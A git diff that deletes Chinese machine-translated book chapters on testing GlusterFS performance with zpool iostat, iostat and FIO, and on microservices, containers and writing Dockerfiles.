-该工具有助于以尽可能低的级别呈现性能,因为它显示了来自每个磁盘、每个节点的数据: - -![](img/c22ef836-7633-4f8f-acdb-e7f1108b756c.png) - -请注意,我们使用了额外的`-L`和`-P`选项,以便打印设备文件的绝对路径或**通用唯一标识符**(**UUID**);这是因为我们使用每个磁盘的唯一标识符创建了池。 - -从前面的截图中,我们可以看到四个主要的组,如下所示: - -* `pool`:这是用每个成员创建的。 -* `capacity`:这是分配给每个设备的空间量。 -* `operations`:这是每个设备上完成的 IOPs 数量。 -* `bandwidth`:这是每个设备的吞吐量。 - -In the first line, the command prints the statistics since the last boot. Remember that this tool helps to present the performance from a ZFS-pool level. - -# 监视磁盘状态 - -作为`sysstat`包的一部分,`iostat`提供每个设备的低级性能统计。`iostat`绕过文件系统和卷,显示系统中每个数据块设备的原始性能数据。 - -`iostat`工具可以运行选项来改变屏幕上打印的信息,例如`iostat -dxctm 1`。让我们探索每个部分的作用: - -* `iostat`:这是主命令。 -* `d`:打印设备利用率。 -* `x`:显示扩展设备统计。 -* `c`:显示 CPU 利用率。 -* `t`:显示打印每份报告的时间。 -* `m`:这保证了统计数据将以兆字节/秒显示。 -* `1`:这是`iostat`打印数据的时间,单位为秒。 - -在下面的截图中,可以看到`iostat`在不同的列中显示信息: - -![](img/ecf9dba7-7455-4f09-8839-5f6db3e3cf6c.png) - -没有必要浏览所有的列,但是最重要的列如下: - -* `Device`:显示系统中存在的阻塞设备。 -* `r/s`:这些是每秒的读操作。 -* `w/s`:这些是每秒的写操作。 -* `rMB/s`:这些是从设备读取的 MB/s。 -* `wMB/s`:这些是写入设备的兆字节/秒。 -* `r_await`:这是读取请求的平均时间,单位为毫秒。 -* `w_await`:这是写请求的平均时间,单位为毫秒。 - -与`avg-cpu %iowait`时间相关的`r_await`和`w_await`列是必不可少的;这是因为这些指标可以帮助确定其中一个设备是否比其他设备增加了延迟。高 CPU `iowait`时间意味着 CPU 持续等待 I/O 完成,这反过来可能意味着块设备具有高延迟。 - -`iostat`工具可以在集群中的每个节点上运行,为组成 GlusterFS 卷的每个磁盘提供低级统计信息。 - -Details on the rest of the columns can be found on the man page for `iostat`. - -# FIO 测试仪 - -FIO 是一个基准测试工具,用于通过生成合成工作负载和呈现输入/输出指标摘要来进行性能测试。 - -Note that `fio` does not come by default on CentOS, but it is available in the base repository and can be installed by running `sudo yum install -y fio`. - -这个工具非常有用,因为它允许我们执行接近系统实际工作负载的测试,允许用户更改参数,如块大小、文件大小和线程数。FIO 可以提供接近真实世界性能的数据。这种级别的定制可能会令人困惑,因为它为工作负载模拟提供了许多选项,其中一些选项起初并不太直观。 - -用 FIO 执行测试最简单的方法是创建一个配置文件,它告诉软件如何表现;配置文件如下所示: - -```sh -[global] -name=rw-nocache-random -rw=randrw -rwmixread=50 -rwmixwrite=50 -group_reporting=1 -bs=1M -direct=1 -numjobs=4 -time_based=1 -runtime=180 -ioengine=libaio -iodepth=64 - -[file1] -size=10G -filename=rw-nocache-random.1 -``` - -让我们将其分解,以便了解配置文件的每个部分是如何工作的: - -* `[global]`:表示影响整个测试的配置参数(可以设置单个文件的参数)。 -* `name=`:这是测试的名称;它可以是任何有意义的东西。 -* `rw=randrw`:这告诉 FIO 要执行什么类型的 I/O;在这种情况下,它进行随机读写。 -* `rwmixread`和`rwmixwrite`:它们告诉 FIO 要执行的读和写的百分比或混合——在本例中,是 50-50 的混合。 -* `group_reporting=1`:这用于给出整个测试的统计数据,而不是每个作业的统计数据。 -* `bs=1M`:这是 FIO 执行测试时使用的块大小;可以将其更改为模拟预期工作负载的值。 -* `numjobs=4`:控制每个文件打开多少线程。理想情况下,这可以用来匹配将使用存储的用户或线程的数量。 -* `runtime=180`:以秒为单位,控制测试将运行多长时间。 -* `ioengine=libaio`:这控制要使用的 I/O 引擎的类型。最常见的是`libaio`,因为它类似于大多数工作负载。 -* `iodepth=64`:控制测试的 I/O 深度;更高的数量允许存储设备被最充分地使用。 - -最后,文件组控制为测试创建多少文件以及它们的大小。某些设置,如`iodepth`,可以添加到该组中,这些设置只影响定义参数的文件。另一个考虑是`fio`根据每个文件的`numjobs`参数打开一个线程。在前面的配置中,它将总共打开 16 个线程。 - -要运行 FIO,只需移动到装载点所在的目录,并将其指向配置文件,如下所示: - -```sh -cd /gvol1 -fio /root/test.fio -``` - -Note that FIO requires root privileges, so make sure that FIO is run with `sudo`. - -当 FIO 运行时,它会显示吞吐量和 IOPS 等统计信息: - -![](img/de6fd649-943a-4f3e-809d-96770f8fa49a.png) - -一旦完成,FIO 会在屏幕上报告测试统计数据。要寻找的主要是 IOPS 和**带宽** ( **带宽**)用于读写操作: - -![](img/ab8a1e8b-1fb9-4905-9803-8e2156cf7651.png) - -从测试结果中,我们可以看到 GlusterFS 卷可以同时支持大约 150 MB/s 的读写操作。我们比集群的理论最大性能降低了 75mb/s;在这种特殊情况下,我们达到了网络限制。 - -FIO 在验证性能和检测问题方面非常有效;`fio`可以在安装 Gluster 卷的客户端上运行,也可以直接在每个节点的砖块上运行。您可以使用 FIO 测试现有解决方案,以验证性能需求;只需确保根据需要测试的内容更改 FIO 配置中的设置。 - -GlusterFS provides some tools to monitor performance from the perspective of volume. These can be found in the GlusterFS documentation page, under *Monitoring Workload*. - -# 可用性测试 - -确保群集能够容忍节点宕机至关重要,因为我们可以确认如果节点丢失,不会发生宕机。 - -这可以通过强制关闭其中一个节点,而其他节点继续提供数据来实现。为了充当合成工作负载,我们可以使用 FIO 在其中一个节点关闭时执行连续测试。 - -在下面的截图中,我们可以看到`gfs2`节点不存在,但是 FIO 测试按照预期继续提供数据: - -![](img/ac25b2de-f97a-4d29-bd05-06fdf2b45162.png) - -# 缩放比例 - -调整这种设置相对简单。如前所述,我们可以通过向每个节点添加更多磁盘来纵向扩展,也可以通过向集群添加更多节点来横向扩展。 - -纵向扩展比横向扩展简单得多,因为它需要更少的资源。例如,可以在每个节点上将单个磁盘添加到 ZFS 池中,如果添加三个 128 GB 的磁盘,有效地将可用空间增加了 256 GB。 - -使用以下命令可以将磁盘添加到 ZFS 池: - -```sh -zpool add brick1 /dev/disk/by-id/ -``` - -从前面的命令来看,`brick1`是池的名称,`disk-id`是最近添加的一个或多个磁盘的 UUID。 - -水平扩展需要在新节点上镜像精确的设置,然后将其添加到集群中。这需要一组新磁盘。优点是可用空间和性能将相应增长。 - -# 摘要 - -在本章中,我们回顾了在前面的[第 4 章](04.html)、*中对在云基础设施*上使用 GlusterFS 所做的实现的概述,这样我们就可以对实现了什么有一个新的了解,以便了解如何测试性能。根据前面的设置,该实现理论上应该能够达到 375 兆字节/秒的吞吐量。我们可以用几个不同级别的工具来验证这个数字。 - -对于 ZFS 卷,我们可以使用`zpool iostat`命令,该命令为属于 ZFS 卷的每个数据块设备提供数据。`iostat`可用于确定系统中所有数据块设备的性能。这些命令只能在群集的每个节点上运行。为了能够验证实现的实际性能,我们使用了 FIO 工具,该工具可以通过更改 I/O 执行方式的参数来模拟特定的工作负载。该工具可以在块级别的每个节点上使用,也可以在 GlusterFS 卷上的每个 Gluster 客户端上使用,以获得群集可实现的性能的总体概述。 - -在通过 FIO 执行测试时,我们了解了如何通过有意关闭其中一个节点来执行可用性测试。最后,可以纵向扩展解决方案,向每个节点中的每个卷添加磁盘,或者横向扩展解决方案,向群集添加一个全新的节点。本章的主要内容是考虑如何使用广泛可用的工具来验证所实现的配置。这些只是一套工具。许多其他工具也可能可用,这可能对您正在实施的解决方案更好。 - -在下一章中,我们将开始创建一个高度可用的自我修复架构。 - -# 问题 - -1. 什么是 MB/s? -2. 什么是`zpool iostat`? -3. 哪里可以跑`zpool iostat`? -4. 什么是`iostat`? -5. `r_await`是什么意思? -6. 什么是 CPU IOWAIT 时间? -7. 什么是 FIO? -8. 如何运行 FIO? -9. 什么是 FIO 配置文件? -10. 如何验证 Gluster 集群中的可用性? -11. 如何纵向扩展? - -# 进一步阅读 - -* *学习微软 Azure 存储*作者:Mohamed Waly:[https://www . packtpub . com/大数据与商业智能/学习-微软-Azure-存储](https://www.packtpub.com/big-data-and-business-intelligence/learning-microsoft-azure-storage) \ No newline at end of file diff --git a/docs/handson-linux-arch/06.md b/docs/handson-linux-arch/06.md deleted file mode 100644 index 685dc8f8..00000000 --- a/docs/handson-linux-arch/06.md +++ /dev/null @@ -1,557 +0,0 @@ -# 六、创建高可用性自我修复架构 - -在本章中,我们将介绍信息技术行业如何从使用单一应用发展到云原生、容器化和高可用性的微服务。 - -通过开源,我们可以提供解决方案,使我们能够根据用户消费创建应用的高可用性和按需扩展。 - -我们将在本章中讨论以下主题: - -* 描述微服务 -* 为什么容器是微服务的家 -* 我们如何编排我们的容器 -* 探索开源中最常用的管弦乐手,Kubernetes。 - -# 微服务 - -微服务用于以模块化的方式设计应用,其中每个模块都是独立部署的,它们通过 API 相互通信。所有这些模块一起工作来交付一个应用,其中每个功能都有自己的目的。 - -例如,让我们看一下一家在线商店。我们只能看到主网站;然而,在后端有几个微服务发挥作用,一个服务接受订单,另一个服务根据您以前的浏览、支付处理、评论和评论处理程序等为您建议项目。 - -下图是一个微服务应用的示例: - -![](img/a4ce4515-7320-4dd9-910d-043557a5767b.png) - -本质上,微服务应用不需要庞大的团队来支持整个应用。一个团队只支持一个或两个模块,在最终产品的每个活动部分的支持和专业知识方面创造了一个更精细的方法。支持和开发不仅是颗粒的,也有失败的。在单个微服务失败的情况下,只有应用的这一部分会失败。 - -继续我们的在线商店示例,假设处理评论和评论的微服务失败了。这是因为我们的网站是使用微服务构建的,因此只有我们网站的该组件对我们的客户不可用。 - -然而,他们仍然可以毫无问题地继续购买和使用网站,虽然用户无法看到他们感兴趣的产品的评论,但这并不意味着我们整个网站的可用性受到损害。根据导致问题的原因,您可以修补微服务或重新启动它。不再需要关闭整个网站进行修补或重启。 - -作为基础设施工程师,您可能会想,为什么我必须知道什么是微服务,或者它有什么好处?原因很简单。作为架构师或基础架构工程师,您正在为这种类型的应用构建底层基础架构。无论它们是运行在单个主机上的单一应用,还是分布在多个容器中的微服务,它都肯定会影响您设计客户体系结构的方式。 - -在这里,Linux 将是您最好的朋友,因为您会发现多个开源工具,这些工具将帮助您保持高可用性、负载平衡以及与 Docker、Kubernetes、Jenkins、Salt 和 Puppet 等工具的**持续集成** ( **CI** )/ **持续交付** ( **CD** )。因此,每当客户问你他应该开始设计他的微服务应用的操作系统环境时,Linux 将是你的答案。 - -目前,Docker Swarm 和 Kubernetes 在容器编排方面处于领先地位。说到微服务,在为客户设计基础架构时,容器也是您的首选。 - -我们将在[第 7 章](07.html)*中深入探讨 Kubernetes,了解 Kubernetes 集群*的核心组件,并展示它将如何帮助您为托管微服务和其他类型的应用编排和交付一个优雅但复杂的解决方案。 - -然而,在谈论 Kubernetes 或容器编排之前,我们需要解释容器的概念,以便理解为什么它们非常适合容纳微服务应用。 - -Linux 中的容器已经有一段时间了,但是直到几年前(随着 Docker Engine 的发布),它们才获得了所有技术社区的动力和钦佩。容器在正确的时间发挥了作用,随着微服务架构的兴起,它们开始留下来,并正在塑造我们设计和执行它的方式。 - -让我们后退一步,这样您就可以了解此类技术的优势。想象一下,您有一个简单的整体应用,它运行一个应用编程接口,您可以从该应用编程接口中查询用户列表以及他们从您托管在同一个应用捆绑包中的网站上购买的内容。 - -过了一段时间,您的客户看到他们的应用编程接口在其他应用中变得非常流行,这些应用现在在高峰时间发出数千个 HTTP `GET`请求。当前的基础架构无法处理如此多的请求,因此您的客户要求您以能够处理更多请求的方式扩展他们的基础架构。这里的问题是,因为这是一个单一的应用,您不仅需要计算应用编程接口所需的资源,还必须考虑与应用编程接口一起托管的网络商店前端,尽管应用编程接口是您实际上需要扩展的唯一东西。 - -这将是资源的浪费,因为你也在使用网络商店前端,这不需要任何额外的副本或资源。您正在将宝贵的,有时是昂贵的(如果您在公共云中)存储、内存和 CPU 资源浪费在实际上并不需要的东西上。 - -因此,这就是微服务以及用于托管此类应用的容器发挥作用的地方。有了容器映像中的微服务,您不必在每次因需求而需要扩展服务时都调配一台新服务器,也不必在每次执行应用或操作系统更新时都重新启动服务器或处理包依赖关系。只需一个简单的命令(`docker container run companyreg.io/storeapi:latest`),您的应用就可以启动并准备好服务请求了。同样,如果您的应用失败了,只需重新启动您的容器或提供一个新的容器,您就可以开始了。如果对微服务进行的更新有错误怎么办?只需继续并恢复到以前的图像版本,您就可以重新启动并运行;没有必要开始卸载更新的库或处理依赖性问题。 - -容器还允许跨应用部署的一致性,因为正如您可能知道的,安装包有多种方式。可以通过`apt`、`yum`、`apk`等包管理器,也可以通过`git`、`/curl/wget`、`pip`、`juju`等包管理器,根据安装方式的不同,包管理器还会定义维护方式。 - -想象一个生产环境,开发人员将他们的包发送到**开放评测标准** ( **OPS** )团队进行部署,每个 OPS 工程师以不同的方式部署应用!这将变得不可支持,并且非常难以跟踪。带有应用的容器映像将创建一致性,因为无论您将它作为容器部署在哪里,它对于所有配置文件、二进制文件、库和依赖项的位置都是相同的。所有内容都将被隔离到一个容器中,该容器运行有自己的**进程名称空间** ( **进程名称空间**)、网络名称空间和**挂载名称空间** ( **MNT 名称空间**)。 - -在微服务中构建应用的目的是为应用中的每个微服务提供隔离,以便可以轻松管理和维护它们,而容器正是实现了这一点。您甚至可以定义每次容器出现时您希望如何启动应用——同样,一致性在这里起着主导作用。 - -# 创建容器图像 - -构建容器的方式是通过一个叫做 **Dockerfile** 的东西。Dockerfile 基本上是一组关于如何构建容器映像的指令;典型的 Dockerfile 如下所示: - -```sh -FROM ubuntu:latest -LABEL maintainer="WebAdmin@company.com" - -RUN apt update -RUN apt install -y apache2 -RUN mkdir /var/log/my_site - -ENV APACHE_LOG_DIR /var/log/my_site -ENV APACHE_RUN_DIR /var/run/apache2 -ENV APACHE_RUN_USER www-data -ENV APACHE_RUN_GROUP www-data - -COPY /my_site/ /var/www/html/ - -EXPOSE 80 - -CMD ["/usr/sbin/apache2","-D","FOREGROUND"] -``` - -如您所见,这是一组可读性很强的指令。甚至不知道每条指令做什么,我们就可以承担它的功能,因为它与英语非常相似。这个 Dockerfile 只是一个例子,也是目前为止最有效的方法。 - -图像本质上类似于**虚拟机** ( **VM** )世界中的模板;它是一组只读层,包含部署容器所需的所有信息—从单个映像中,您可以部署多个容器,因为它们都在自己的可写层上工作。 - -例如,无论何时拉取图像,您都会看到以下输出: - -```sh -[dsala@redfedora ~]# docker pull httpd:latest -latest: Pulling from library/httpd -d660b1f15b9b: Pull complete -aa1c79a2fa37: Pull complete -f5f6514c0aff: Pull complete -676d3dd26040: Pull complete -4fdddf845a1b: Pull complete -520c4b04fe88: Pull complete -5387b1b7893c: Pull complete -Digest: sha256:8c84e065bdf72b4909bd55a348d5e91fe265e08d6b28ed9104bfdcac9206dcc8 -Status: Downloaded newer image for httpd:latest -``` - -您看到的每个`Pull complete`实例对应于图像的一个图层。那么,这些层是什么,它们来自哪里? - -当我们执行图像的构建时,我们在 Dockerfile 中定义的一些指令将创建一个新的层。文件中的每个指令都在容器中的读写层中执行,在构建结束时,这些指令将被提交给最终的层栈,该栈将形成最终的图像。需要注意的一点是,即使构建过程中的每个指令都在一个容器中执行,也不是所有的命令都会创建使图像在大小和图层方面变大的数据——其中一些命令只会写入名为**图像清单**的东西,它本质上是一个包含所有图像元数据的文件。 - -让我们进一步探究每个命令。 - -# 从 - -`FROM`指令表明你最初的形象是什么,本质上,你将开始建立自己的形象的基础。 - -您在这里放什么将取决于您的需求,例如,哪个映像预装了我的应用所需的库,哪个映像已经有了我编译应用所需的编译器,或者哪个映像对我们的最终大小影响最小。例如,您的应用构建在 Python 2 上。不需要用 CentOS 或者 Ubuntu 作为初始镜像,然后手动安装 Python,只需要使用`python:2.7`镜像就可以了,它已经会自带 Python 为你预装了。 - -显然,这里有更多的事情需要考虑,但是我们将在本章的后面讨论形象构建的最佳实践。 - -由于此指令采用另一个图像并将其用作基础,因此您的最终图像将继承您的基础图层;因此,最终层数如下: - -*最终图像图层=基础图像图层+您创建的图层* - -# 标签 - -`LABEL`指令非常容易解释——它用键值对将图像标记为元数据,您稍后可以通过`docker inspect`命令检索这些元数据。您可以使用它来添加您希望图像用户知道的数据。通常,它用于添加有关图像作者的信息,如他们的电子邮件或公司: - -```sh -LABEL maintener="john.doe@company.com" -``` - -因为这个指令只是元数据,不会给你的图像增加额外的图层。 - -# 奔跑 - -有了`RUN`,你将运行你需要准备你的容器来运行你的应用的命令;例如,安装软件包、编译代码以及创建用户或目录。`RUN`有两种运行命令的方式。 - -Shell 形式如下: - -```sh - RUN -``` - -在这种形式下,尽管您可以使用`SHELL`指令更改 Shell,但默认情况下,您的所有命令都将使用`/bin/sh -c`Shell 运行,如下所示: - -```sh - SHELL ["/bin/bash", "-c"] - RUN echo "Hello I'm using bash" -``` - -`SHELL`关键字只能以 JSON 数组格式运行,这就引出了第二种可以用来运行`RUN`指令的形式。 - -执行形式如下: - -```sh -RUN ["echo","hello world"] -``` - -除了格式之外,这里的主要区别在于,在 exec 表单中不调用 shell,因此不会发生正常的变量替换,相反,您必须调用 shell 作为命令,以便 shell 能够提供变量扩展: - -```sh - RUN ["/bin/bash","-c","echo $HOME"] -``` - -由于`RUN`关键字的性质,它的每个实例都将在一个新的图层上执行,并提交给最终的图像,因此,每次使用`RUN`时,它都会为您的图像添加一个新的图层。 - -# 包封/包围(动词 envelop 的简写) - -对于`ENV`,没什么好说的——这条指令为环境设置变量。它们将在构建时使用,并且在容器运行时可用。`ENV`不会为容器生成额外的层,因为它将环境变量作为元数据存储在图像清单上: - -```sh - ENV = -``` - -`ENV`的参数以`` / ``对处理,其中``参数是变量名,``参数是其内容或值。您可以使用`=`标志进行申报,也可以不使用。引号和反斜杠可用于转义值字段中的空格。 - -以下所有变体均有效: - -```sh - -ENV USER="Jane Doe" - -ENV USER=Jane\ Doe - -ENV USER Jane Doe -``` - -# 复制 - -借助`COPY`,我们可以将文件或目录从我们的本地主机(您正在其中执行 Docker 构建)复制到我们的映像中。这非常有用,因为您实际上是在将内容移动到图像中,这样您就可以复制您的应用、文件或容器工作所需的任何内容。正如我们前面提到的,任何将实际数据添加到容器中的指令都会创建一个新层,从而增加最终图像的存储空间。 - -该指令与`RUN`形式相同;您可以使用 JSON 格式,也可以将``源与``目的地分开: - -```sh - COPY - COPY ["","",""] -``` - -我们需要经历几个困境。首先,如果任何文件名或目录的名称中有空格,则必须使用 JSON 数组格式。 - -第二,默认情况下,所有文件和目录都会复制**用户标识符** ( **UID** )和**组标识符** ( **GID** ) `0`(根)。要覆盖这一点,您可以使用`--chown=:`标志,如下所示: - -```sh - COPY --chown=JANE:GROUP -``` - -`chown`接受数字标识或用户或组的名称。如果只有一个,则定义如下: - -```sh -COPY --chown=JANE -``` - -`COPY`将假设用户和组都是相同的。 - -如果您正在复制名称相似的文件,那么您可以始终使用通配符— `COPY`将使用 Go `filepath.Match`规则,该规则可以在[http://golang.org/pkg/path/filepath#Match](http://golang.org/pkg/path/filepath#Match)找到。 - -如何定义``和``条目非常重要,因为它们遵循以下三个规则: - -* 您在``中定义的路径必须在构建的上下文中,本质上,位于您在运行 Docker 构建`PATH`命令时指定的目录中的所有文件和目录。 -* 如果你正在复制目录,那么总是以`/`结束。这样,Docker 知道这是一个目录,而不是您正在复制的单个文件。此外,如果它是一个目录,里面的所有文件也会被复制。 -* 除非使用`WORKDIR`指令指定一个相对的工作目录,否则``中定义的路径必须始终是绝对路径。 - -说完`COPY`指令,我必须补充一句`COPY`只支持复制本地文件。如果您想使用 URL 从远程服务器复制文件,您必须使用`ADD`指令,该指令遵循`COPY`的相同规则,但对 URL 有一些其他的警告。这超出了本章的范围,但您可以在[https://docs.docker.com](https://docs.docker.com)了解更多信息。 - -# 揭露 - -使用`EXPOSE`关键字,我们实际上并没有发布我们在这里指定的容器端口;相反,我们正在为容器的用户创建一个指南,让他们知道在启动容器时要发布哪些端口。 - -因此,这只是在图像清单中再次创建的元数据,稍后可以通过`docker inspect`检索。不会使用此关键字创建其他层。 - -`EXPOSE`指令中定义的端口可以是**用户数据报协议** ( **UDP** )或**传输控制协议** ( **TCP** ),但默认情况下,如果未指定协议,则假定为 TCP。 - -以下是`EXPOSE`指令的一些例子: - -```sh - EXPOSE 80 - EXPOSE 53/udp - EXPOSE 80/tcp -``` - -# CMD 和 ENTRYPOINT - -这些可能是 Dockerfile 中最重要的指令,因为它们告诉容器在启动时要运行什么。我们将仔细研究它们,并探索它们如何相互作用,以及它们之间有何不同。 - -先从`ENTRYPOINT`说起。如前所述,该指令允许您定义启动容器时要运行的可执行文件。您可以在一个 Dockerfile 中添加多个`ENTRYPOINT`定义,但是只有最后一个定义将在`docker container run`上执行。 - -当使用`run`参数运行容器时,通常可以添加命令行参数。这些参数将被附加到`ENTRYPOINT`参数中,除非您在使用`docker container run`覆盖`ENTRYPOINT`可执行文件时使用`--entrypoint`标志。 - -我们来看一些例子。假设我们使用的容器包含以下 Dockerfile: - -```sh - FROM alpine - ENTRYPOINT ["echo","Hello from Entrypoint"] -``` - -现在,让我们假设我们构建了图像并标记了它`entrypointexample`。当我们在没有额外命令行参数的情况下运行这个容器时,它将如下所示: - -```sh -[dsala@redfedora]# docker container run entrypointexample -Hello from Entrypoint -``` - -如果我们将命令行参数添加到`run`命令中,我们将看到如下内容: - -```sh -[dsala@redfedora]# docker container run entrypointexample /bin/bash -Hello from Entrypoint /bin/bash -``` - -正如您所看到的,它实际上并没有执行一个 BASH shell,而是将`/bin/bash`当作我们在 Dockerfile 中定义的`echo`命令的字符串。让我们考虑一个更明确的例子,因为与前一个例子一样,我只想证明,即使您传递一个实际的命令或试图执行一个 shell,它仍然会接受并传递它作为`ENTRYPOINT`的参数。下面是一个简单字符串的更清楚的例子: - -```sh -[dsala@redfedora]# docker container run entrypointexample I AM AN ARGUMENT -Hello from Entrypoint I AM AN ARGUMENT -``` - -现在,如果我们通过`--entrypoint`标志,我们将覆盖`ENTRYPOINT`可执行文件: - -```sh -[dsala@redfedora]# docker container run --entrypoint /bin/ls entrypointexample -lath /var -total 0 -drwxr-xr-x 1 root root 6 Aug 8 01:22 .. -drwxr-xr-x 11 root root 125 Jul 5 14:47 . -dr-xr-xr-x 2 root root 6 Jul 5 14:47 empty -drwxr-xr-x 5 root root 43 Jul 5 14:47 lib -drwxr-xr-x 2 root root 6 Jul 5 14:47 local -drwxr-xr-x 3 root root 20 Jul 5 14:47 lock -drwxr-xr-x 2 root root 6 Jul 5 14:47 log -drwxr-xr-x 2 root root 6 Jul 5 14:47 opt -lrwxrwxrwx 1 root root 4 Jul 5 14:47 run -> /run -drwxr-xr-x 3 root root 18 Jul 5 14:47 spool -drwxrwxrwt 2 root root 6 Jul 5 14:47 tmp -drwxr-xr-x 4 root root 29 Jul 5 14:47 cache -``` - -好吧,那么为什么这个命令的格式是这样的呢?正如我们前面看到的,`--entrypoint`标志仅替换可执行文件——所有附加参数都必须作为参数传递。这就是为什么我们的`ls`在最后有它的`-lath /var`论点。这里我们需要看到一些额外的东西,它们对应于`ENTRYPOINT`指令所具有的形式。 - -与其他 Dockerfile 指令一样,`ENTRYPOINT`有两种形式,shell 和 exec: - -```sh - ENTRYPOINT command argument1 argument2 - ENTRYPOINT ["executable", "param1", "param2"] -``` - -对于 exec 表单,适用于以前 Dockerfile 指令的相同规则也适用于此处。 - -在执行形式中不调用 shell,因此`$PATH`变量不存在,如果不提供完整的路径,您将无法使用可执行文件——这就是为什么我们使用`/bin/ls`而不仅仅是`ls`。另外,您可以看到,您首先在 JSON 数组中定义了可执行文件,然后定义了它的参数,第一个字段是`--entrypoint`标志将替换的内容。使用标志时的任何附加参数都必须传递给`docker container run`命令参数,就像我们在示例中所做的那样。 - -另一方面,Shell 表单将加载`/bin/sh`,以便环境变量可用。我们来看一个例子;下面是一个容器,包含以下使用 exec 形式的 Dockerfile: - -```sh -FROM alpine -ENTRYPOINT ["echo", "$PATH"] -``` - -让我们假设我们构建了图像并标记了它`pathexampleexec`。当我们运行容器时,我们将看到以下内容: - -```sh -[dsala@redfedora]#docker container run pathexampleexec -$PATH -``` - -下面是一个容器,它包含以下使用 Shell 形式的 Dockerfile: - -```sh -FROM alpine -ENTRYPOINT echo $PATH -``` - -当我们运行容器时,我们将看到以下内容: - -```sh - [dsala@redfedora]# docker container run pathexampleshell - /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin -``` - -现在,假设您希望应用有一些默认参数,但是您希望用户能够覆盖并使用不同的参数(如果他们需要的话)。这就是`CMD`进来的地方;使用`CMD`,您可以为您的可执行文件指定默认参数,但是如果用户使用`docker container run`上的命令参数运行容器,这些参数将被覆盖。您必须小心如何声明`ENTRYPOINT`,因为如果使用 Shell 形式声明`ENTRYPOINT`,所有`CMD`定义都将被忽略。 - -让我们看几个例子;以下是要运行的容器的 Dockerfile: - -```sh - FROM alpine - ENTRYPOINT echo Hello - CMD ["I'm Ignored"] -``` - -这里是前面提到的容器的运行,假设它被构建并标记为`cmdexample`: - -```sh -[dsala@redfedora]# docker container run cmdexample -Hello -``` - -现在,如果我们使用`ENTRYPOINT`的执行形式,CMD 参数将被附加到`ENTRYPOINT`中。供参考的文件: - -```sh - FROM alpine - ENTRYPOINT ["echo", "hello from ENTRY"] - CMD ["hello", "from CMD"] -``` - -这里是输出,假设图像被构建并标记为`execcmdexample`: - -```sh -[dsala@redfedora]# docker container run execcmdexmple -hello from ENTRY hello from CMD -``` - -请注意,这一次`CMD`条目被追加到`ENTRYPOINT`作为参数。但是要记住`CMD`的内容只是默认;如果我们指定`docker container run`上的参数,这些参数将覆盖`CMD`中的参数。 -使用与前面示例相同的 Dockerfile,我们将得到类似于以下内容的内容: - -```sh -[dsala@redfedora]# docker container run execcmdexmple "hello" "from" "run" - hello from ENTRY hello from run -``` - -`CMD`和`ENTRYPOINT`之间有几种组合,在下面取自[https://docs.docker.com](https://docs.docker.com)的图表中可以看到全部组合: - -![](img/78bc3880-5c3b-4744-90a5-727d6a982c94.png) - -# 使用最佳实践构建容器映像 - -Dockerfiles 就像是你的应用的食谱,但是你不能只是把材料扔进去,然后抱最好的希望。创建一个高效的形象需要你小心如何利用你所掌握的工具。 - -容器的全部意义在于占用空间小 100 MB 应用的 1 GB+映像并不意味着占用空间小,也完全没有效率。微服务也是如此;为您的微服务拥有小容器映像不仅可以提高性能,而且存储利用率可以减少安全漏洞和故障点,还可以为您节省资金。 - -容器映像本地存储在主机中,远程存储在容器注册表中。公共云提供商向您收取注册表存储利用率的费用,而不是您存储在其中的映像数量。把注册表想象成容器的 GitHub。假设您必须从云提供商的注册表中提取一个图像;你觉得拉哪个形象会更快?1 GB 映像还是 100 MB 映像?图像尺寸至关重要。 - -构建图像时首先要考虑的是您将要使用的基础图像。不要使用大型映像(如完整的 Linux 发行版、Ubuntu、Debian 或 CentOS),这些映像有许多您的应用运行不需要的工具和可执行文件,而是使用较小的映像,如 Alpine: - -| **储存库** | **尺寸** | -| `centos` | 200 兆字节 | -| `ubuntu` | 83.5 兆字节 | -| `debian` | 101 兆字节 | -| `alpine ` | 4.41 兆字节 | - -你会发现大部分的图片都有一个比较苗条的自己,比如`httpd`和`nginx`: - -| **储存库** | **标签** | **尺寸** | -| `httpd` | `alpine` | 91.4 兆字节 | -| `httpd` | `latest` | 178 兆字节 | -| `nginx` | `alpine` | 18.6 兆字节 | -| `nginx` | `latest` | 109 兆字节 | - -可以看到,`httpd` : `alpine`比`httpd` : `latest`小了差不多 50%,`nginx` : `alpine`小了 80%! - -较小的图像不仅会减少您的存储消耗,还会减少您的攻击面。这是因为较小的容器具有较低的攻击面;让我们来看看最新的 Ubuntu 图片与最新的 Alpine 对比。 - -对于 Ubuntu,我们可以看到根据最新标签的 Docker Hub 页面,漏洞数量有所增加;这在下面的截图中捕捉到: - -![](img/b425f5cd-5234-44ea-9d34-9838f950efa0.png) - -对于 Alpine Linux,计数下降到零,如下图所示: - -![](img/b3203d39-5afb-4e50-907f-5fda932e443a.png) - -在前面的截图中,我们可以看到与 Ubuntu 相比的漏洞数量。即使在今天,最新的阿尔卑斯山图像也没有任何漏洞。相比之下,Ubuntu 有七个易受攻击的组件,我们的应用甚至不需要它们来运行。 - -另一个要考虑的是你形象的层次感;每次你在构建中运行`RUN`语句,它都会给你的最终图像增加一层和尺寸。减少`RUN`语句的数量和您在这些语句上运行的内容将显著减小您的图像大小。 - -让我们看第一个 Dockerfile,如下所示: - -```sh - FROM ubuntu:latest - LABEL maintainer="WebAdmin@company.com" - - RUN apt update - RUN apt install -y apache2 - RUN mkdir /var/log/my_site - - ENV APACHE_LOG_DIR /var/log/my_site - ENV APACHE_RUN_DIR /var/run/apache2 - ENV APACHE_RUN_USER www-data - ENV APACHE_RUN_GROUP www-data - - COPY /my_site/ /var/www/html/ - - EXPOSE 80 - - CMD ["/usr/sbin/apache2","-D","FOREGROUND"] -``` - -我们可以将`RUN`指令修改为以下方式: - -```sh -RUN apt update && \ - apt install -y apache2 --no-install-recommends && \ - apt clean && \ - mkdir /var/my_site/ /var/log/my_site -``` - -现在,通过在一条语句中运行所有命令,我们将只生成一个层,而不是创建三个层。 - -请记住,您在`RUN`中所做的一切都是用`/bin/sh -c`或您用`SHELL`指定的任何其他 shell 来执行的,因此`&`、`;`和`\`会像在常规 shell 中一样被接受。 - -然而,我们不仅删除了多余的`RUN`指令;我们还添加了`apt clean`在容器提交之前清理容器的缓存,并使用`--no-install-recommend`标志来避免安装任何不必要的包,从而减少存储空间和攻击面: - -下面是原始图像的细节: - -| **储存库** | **尺寸** | -| `bigimage` | 221 兆字节 | - -以下是较小图像的细节: - -| **储存库** | **尺寸** | -| `smallerimage` | 214 兆字节 | - 